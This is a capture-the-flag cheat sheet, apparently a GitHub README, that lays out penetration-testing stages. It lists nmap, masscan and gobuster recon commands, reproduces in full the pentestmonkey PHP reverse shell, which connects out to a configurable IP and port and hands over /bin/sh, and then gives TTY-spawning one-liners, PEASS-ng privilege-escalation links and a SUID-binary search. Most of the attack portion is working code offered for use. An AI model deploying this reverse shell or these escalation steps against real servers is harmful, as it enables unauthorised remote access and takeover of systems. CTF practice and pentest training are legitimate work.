CTF_CheatSheet/README.md

# CTF_CheatSheet


## Stage 1 - Lay of the Land

### enumeration

* Passive Recon
  * Shodan
  * Wayback Machine
  * The Harvester

* Active Recon
  * Nmap
  * Masscan
  * Network discovery
  * RPCClient
  * Enum4all

* List all the subdirectories and files
  * Gobuster
  * Backup File Artifacts Checker

* Web Vulnerabilities
  * Repository Github
  * Burp
  * Web Checklist
  * Nikto
  * Payment functionality
  


* Basic Scan
```
sudo nmap -sSV -p- IP -oA nmap/initial -T4
sudo nmap -sSV -oA OUTPUTFILE -T4 -iL INPUTFILE.csv
```
  * -sSV defines the type of packet to send to the server and tells Nmap to try and determine any service on open ports
  * -p- tells Nmap to check all 65,535 ports (by default it will only check the most popular 1,000)
  * -oA OUTPUTFILE tells Nmap to output the findings in its three major formats at once using the filename "OUTPUTFILE"
  * -iL INPUTFILE tells Nmap to use the provided file as inputs


* CTF Scan
```
nmap -sV -sC -oA nmap/basic IP
```
  * -sV : Probe open ports to determine service/version info
  * -sC : to enable the script
  * -oA : to save the results

After this quick command you can add "-p-" to run a full scan while you work with the previous result
```
nmap -sV -sC -oA -p- nmap/initial IP
```

* Aggressive Nmap
```
nmap -A -T4 scanme.nmap.org
```
  * -A: Enable OS detection, version detection, script scanning, and traceroute
  * -T4: Defines the timing for the task (options are 0-5 and higher is faster)


* Masscan

```bash
masscan IP -p 1-65535 --rate 100 -oX masscan.xml
```


* Using DirBuster or GoBuster

```bash
  ./gobuster -u http://buffered.io/ -w /secondary/wordlists/more-lists/dirb/ -t 10
  -u url
  -w wordlist
  -t threads

  More subdomain :
  ./gobuster -m dns -w subdomains.txt -u google.com -i

  gobuster -w wordlist -u URL -r -e /secondary/wordlists/more-lists/dirb/
```


## Stage 2 - Foothold

### Attacking

* PHP Reverse Shell

```
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 
```


### Spawning a Shell

To check if the shell is a tty shell, just enter tty command like the following.

```bash
tty
```
not a tty

```bash
tty
```
/dev/pts/0

Here are some commands which will enable you to spawn a tty shell:
Python:

This is the most popular method for spawnings a tty shell. The target server should have python or python3 installed.

 |Methord   |  Command  |
 |----------|-----------|
 | Python3   | python -c "import pty;pty.spawn('/bin/bash')"  |  
  |* Echo: |  echo 'os.system('/bin/bash')'|
 | * sh:   | /bin/sh -i|
|  * Bash:  | /bin/bash -i|
 | * Perl:  | perl -e 'exec "/bin/sh";'|
 | * Ruby: |  ruby: exec "/bin/sh"|
 | * Lua:  |  lua: os.execute('/bin/sh')|
 | * From within vi:  | :!bash , :set shell=/bin/bash:shell |
 | * From within nmap:  |   !sh  |
 
```
Ctrl+Z
stty raw -echo
fg
export TERM=xterm
```

## Stage 3

### Lets Have a Look Around

* PEASS-ng

| OS | Links |
|----|------|
| Linux | https://github.com/carlospolop/PEASS-ng/blob/master/linPEAS/linpeas.sh |
| Windows x68 | https://github.com/carlospolop/PEASS-ng/raw/master/winPEAS/winPEASexe/binaries/x64/Release/winPEASx64.exe |
|Windows x86 | https://github.com/carlospolop/PEASS-ng/raw/master/winPEAS/winPEASexe/binaries/x86/Release/winPEASx86.exe |

* GTFObins
> https://gtfobins.github.io/

* Linux Tools
|   | Command|
|---|--------|
|    | find / -type f -user root -perm -4000 2>/dev/null|